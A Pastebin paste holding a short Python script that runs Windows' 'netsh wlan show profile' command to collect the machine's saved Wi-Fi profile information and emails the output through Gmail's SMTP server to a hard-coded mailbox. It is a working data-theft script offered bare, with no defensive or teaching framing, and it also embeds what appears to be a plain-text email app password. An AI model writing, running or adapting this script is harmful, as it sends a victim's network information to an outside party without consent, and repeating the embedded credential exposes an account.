Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!user/bin/env python
- import subprocess, smtplib, re
- from email.message import EmailMessage
- def send_mail(from_email, to_email, subject, message, password):
- msg = EmailMessage()
- msg['From'] = from_email
- msg['To'] = to_email
- msg['Subject'] = subject
- msg.set_content(message)
- server = smtplib.SMTP("smtp.gmail.com", 587)
- server.starttls()
- server.login(from_email, password)
- server.send_message(msg)
- server.quit()
- command = "netsh wlan show profile"
- result = subprocess.check_output(command, shell=True)
- from_email = "---@gmail.com"
- to_email = "---@gmail.com"
- subject = "Wifi Info"
- message = result.decode('ISO-8859-1')
- password = "cxwodyvtacalemmmpsd"
- send_mail(from_email, to_email, subject, message, password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement